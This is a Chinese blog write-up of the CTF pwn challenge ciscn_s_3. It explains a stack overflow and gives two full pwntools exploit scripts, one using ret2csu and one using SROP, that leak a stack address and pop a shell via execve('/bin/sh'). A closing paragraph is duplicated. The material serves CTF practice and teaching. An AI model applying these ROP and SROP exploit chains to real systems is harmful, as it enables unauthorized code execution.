2019ciscn_s_3


title:ciscn_s_3

ciscn_s_3

依旧是被ciscn血虐的几天,这道题的难度超乎我的想象(就是我太菜了,但同样的我也学会的很多东西,虽然学的比较慢

步骤

例行检查:

image-20230602172944832

很明显是一个64位的动态连接文件并且只开启了NX保护:

IDA

image-20230602174408815

这题漏洞很明显,sys_read可以读入0x400字节的数据,远远大过buf的大小,所以这里可以直接溢出。

还是可以看到程序中还有两个gadget可以使用,而这就是下面为什么有两种方法的原因:

.text:00000000004004D6                ; Attributes: bp-based frame
.text:00000000004004D6
.text:00000000004004D6                                public gadgets
.text:00000000004004D6                gadgets         proc near
.text:00000000004004D6                ; __unwind {
.text:00000000004004D6 55                             push    rbp
.text:00000000004004D7 48 89 E5                       mov     rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00+                mov     rax, 0Fh
.text:00000000004004DA 00 00
.text:00000000004004E1 C3                             retn
.text:00000000004004E1                gadgets         endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2                ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00+                mov     rax, 3Bh ; ';'
.text:00000000004004E2 00 00
.text:00000000004004E9 C3                             retn
.text:00000000004004E9                ; ---------------------------------------------------------------------------
.text:00000000004004EA 90                             db 90h
.text:00000000004004EB                ; ---------------------------------------------------------------------------
.text:00000000004004EB 5D                             pop     rbp
.text:00000000004004EC C3                             retn
.text:00000000004004EC                ; } // starts at 4004D6

注意其中

.text:00000000004004E2 48 C7 C0 3B 00+                mov     rax, 3Bh ; ';'
---
.text:00000000004004DA 48 C7 C0 0F 00+                mov     rax, 0Fh

这里我们要知道再x64架构下execve和sys_rt_sigreturn的系统调用就是59(0x3B)和15(0xF),所以这里有可以直接用execve(“/bin/sh”,0,0)或者有SROP的方法伪造signal frame构造execve(“/bin/sh”,0,0)再利用sys_rt_sigreturn来getshell

这里大抵有两种方法可以利用:

  • SROP
  • ret2csu

至于这里为什么不能用ret2libc3大抵是因为这里read和write函数都是直接进行系统调用的libc库里面实际是找不到这两个函数的

方法一:ret2csu

这里的exp说实话是写不来的,还是看大佬的理解了一下:

已经知道了溢出点,接下来就需要构造payload,但这里我们没有system和binsh并且也没有办法实现got表查libc的方法,got表东西实在是太少了(也许也可以利用__libc_start_main,有时间试试

image-20230602180322609

但是我们有execve的系统调用号,也有现成的systcall,所以这里我们只需要往栈里写入/bin/sh再知道其地址即可:

payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)

这里有两个值得注意的点:

第一点注意

第一他的返回地址其实就是esp的地址:

这里我们都清楚retn == pop eip,即将栈顶地址pop到eip中,而这里看汇编:

.text:00000000004004ED 55                             push    rbp
.text:00000000004004EE 48 89 E5                       mov     rbp, rsp
.text:00000000004004F1 48 31 C0                       xor     rax, rax
.text:00000000004004F4 BA 00 04 00 00                 mov     edx, 400h       ; count
.text:00000000004004F9 48 8D 74 24 F0                 lea     rsi, [rsp+buf]  ; buf
.text:00000000004004FE 48 89 C7                       mov     rdi, rax        ; fd
.text:0000000000400501 0F 05                          syscall                 ; LINUX - sys_read
.text:0000000000400503 48 C7 C0 01 00+                mov     rax, 1
.text:0000000000400503 00 00
.text:000000000040050A BA 30 00 00 00                 mov     edx, 30h ; '0'  ; count
.text:000000000040050F 48 8D 74 24 F0                 lea     rsi, [rsp+buf]  ; buf
.text:0000000000400514 48 89 C7                       mov     rdi, rax        ; fd
.text:0000000000400517 0F 05                          syscall                 ; LINUX - sys_write
.text:0000000000400519 C3                             retn
.text:0000000000400519                vuln            endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519                ; ---------------------------------------------------------------------------
.text:000000000040051A 90                             db 90h
.text:000000000040051B                ; ---------------------------------------------------------------------------
.text:000000000040051B 5D                             pop     rbp
.text:000000000040051C C3                             retn
.text:000000000040051C                ; } // starts at 4004ED

从汇编中可以清晰地看出这里的系统调用并没有leave指令:mov ebp,esp | pop ebp

所以这里实际的返回地址就是rsp指向的地方也就是rbp,

所以这里做溢出的时候就不能单纯的看栈空间来溢出,我在这里卡了很久:

image-20230602181425977

第二点注意

写入的/bin/sh的地址需要gdb动态调试才能看出:

image-20230602181828954

这里可以知道0x7ffecbd3edc0处有一个有一个地址,而/bin/sh的地址是│0x7ffecbd3eda0这里就可以通过固定的偏移来计算/bin/sh的地址

这里可以计算偏移为:0x00007ffecbd3eee8 - 0x7ffecbd3eda0 = 0x148

所以有:

binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))

然后就是最后的攻击:

这里我们选择用csu_init来构造payload,因为这里我们使用的大量的gadget实际上是找不到的,只有csu这里的最为合适:

poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
syscall = 0x0400501
execve = 0x4004E2
..........................................................
payload  = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
    p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
    p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
csu_last & csu_former
.text:0000000000400580                loc_400580:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 4C 89 EA                       mov     rdx, r13
.text:0000000000400583 4C 89 F6                       mov     rsi, r14
.text:0000000000400586 44 89 FF                       mov     edi, r15d
.text:0000000000400589 41 FF 14 DC                    call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040058D 48 83 C3 01                    add     rbx, 1
.text:0000000000400591 48 39 EB                       cmp     rbx, rbp
.text:0000000000400594 75 EA                          jnz     short loc_400580
.text:0000000000400596
.text:0000000000400596                loc_400596:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 48 83 C4 08                    add     rsp, 8
.text:000000000040059A 5B                             pop     rbx
.text:000000000040059B 5D                             pop     rbp
.text:000000000040059C 41 5C                          pop     r12
.text:000000000040059E 41 5D                          pop     r13
.text:00000000004005A0 41 5E                          pop     r14
.text:00000000004005A2 41 5F                          pop     r15
.text:00000000004005A4 C3                             retn
.text:00000000004005A4                ; } // starts at 400540
  • 第一步还是正常的溢出,然后retn到csu_last处将除rbx寄存器外的值全部置零,这里还有以这个值得注意的点:rbx和rbp不再像往常一样分别置零和置一,这是为了会到csu_former第一遍执行完后重新再执行一遍来确保pop_rdi(csu在x64架构下并没有mov rdi这一操作,只有edi也就是对低三十二位进行操作,这也是为什么一开始也要对r15置零的原因,减少干扰项)。至于这里为什么还要往r12中写入binsh_addr + 0x50这一地址而不是直接写入execve的地址呢?这里是因为原本csu里面没有rdi的gadgte,所以这里我们就要再找一个pop_rdi,但是该如何执行这一个gadget呢?这里就需要用到csu里面的循环,当rbx!=rbp时rbx add 1,然后第二次执行就会跳到r12后一个地址,这里就可以放pop_rdi了
  • 还有一个就是需要搞清楚地址是什么?这里虽然写两个两个地址看似一样但是实际上写入binsh_addr + 0x50是先指向栈上的地址,而这样的话第二次循环执行rbx = 1后就会很自然的跳转到r12指向地址的下一命令,也就是pop_rdi,这样就会很自然的将binshpop到rdi中(但是这里还有一点就是为什么我动调的时候会执行三次pop_rdi这里我觉得不是很合理,还得再看看)
from pwn import*
context(log_level = 'debug',arch ='amd64',os = 'linux')
context.terminal= ['tmux','split','-h']
local = 2
if local == 1:
    io = remote('node4.buuoj.cn',26606)
else :
    io = process('./ciscn_s_3')

elf = ELF('./ciscn_s_3')
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
vuln = elf.sym['vuln']
syscall = 0x0400501
pre_rbp = 0x07ffceb64f728
execve = 0x4004E2
# gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
gdb.attach(io)
payload  = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
    p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
    p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)

io.sendline(payload)

io.interactive()

但这里还有几点注意:

  • 第一个个payload中的返回地址要写vuln写main的话会报错
  • 我这里本地打偏移是0x148但是打远程就是0x118(看别人的wp才发现,远程gdb调试不了

方法二 SROP

What is sigal 机制:

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

Process of Signal Handlering

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。**需要注意的是,这一部分是在用户进程的地址空间的。**之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

这里需要理解signal的机制,以ciscn_s_3为例:

程序如上图,这里直接给exp:

from pwn import*
context(log_level = 'debug',arch ='amd64',os = 'linux')
context.terminal= ['tmux','split','-h']
local = 2
if local == 1:
    io = remote('node4.buuoj.cn',26606)
else :
    io = process('./ciscn_s_3')

elf = ELF('./ciscn_s_3')
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
vuln = elf.sym['vuln']
syscall = 0x0400501
pre_rbp = 0x07ffceb64f728
execve = 0x4004E2

# # gdb.attach(io)

payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
# # # gdb.attach(io)
# payload  = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
# p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
# p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
# io.sendline(payload)
# io.interactive()

sigreturn = 0x04004DA

# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall

frame1 = SigreturnFrame()
frame1.rax = constants.SYS_execve
frame1.rdi = binsh_addr
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall

# # frame_packed = p64(frame.rax) + p64(frame.rdi) + p64(frame.rsi) + p64(frame.rdx) + p64(frame.rip)

# gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b') + p64(sigreturn) +p64(syscall) + bytes(frame1) + p64(vuln)
# payload = (b'/bin/sh\x00').ljust(0x10,b'b') + bytes(frame) + bytes(frame1) + p64(vuln)
io.sendline(payload)

io.interactive()

这里pwntools直接集成了srop模块,对于SignalFrame的伪造会方便很多,当然这里还是列出x64和x86架构下的SigalFrame结构:

X86:

struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};

X64:

struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};

struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

frame1 = SigreturnFrame()
frame1.rax = constants.SYS_execve
frame1.rdi = binsh_addr
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall

通过这样的简单构造就可以直接把个寄存器设置为自己需要的值,这就是对execve的系统调用。

下面分析payload,这里有我一开始有一点迷惑:就是为什么在

*p64(sigreturn)*之后还要再syscall一次,这里我其实被我自己的写法给误导了,我一开始以为p64(sigreturn)就已经将伪造的SignalFrame恢复,其实不然,这里p64(sigreturn)仅仅只是

text:00000000004004DA 48 C7 C0 0F 00+                mov     rax, 0Fh
.text:00000000004004DA 00 00
.text:00000000004004E1 C3                             retn

这样一段汇编内容,并没有对syscall的调用,也就没有进入内核态,也就自然没法恢复伪造的SignalFrame来完成攻击,

# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall

而上面这一段被我注释的内容实际上是我有些想当然了,我以为这样构造也可以完成对sigreturn的调用,实际上也是不可以的,因为srop的原理其实就是利用signalreturn恢复机制来完成操作,但这里实际上我将“果”当“因”处理了,是行不通的。

这里的难点其实还是方法一,还是有很多不懂的点,这样的payload实在是巧妙。

.text:00000000004004DA 00 00
.text:00000000004004E1 C3 retn


这样一段汇编内容,并没有对syscall的调用,也就没有进入内核态,也就自然没法恢复伪造的SignalFrame来完成攻击,

```python
# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall

而上面这一段被我注释的内容实际上是我有些想当然了,我以为这样构造也可以完成对sigreturn的调用,实际上也是不可以的,因为srop的原理其实就是利用signalreturn恢复机制来完成操作,但这里实际上我将“果”当“因”处理了,是行不通的。

这里的难点其实还是方法一,还是有很多不懂的点,这样的payload实在是巧妙。

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值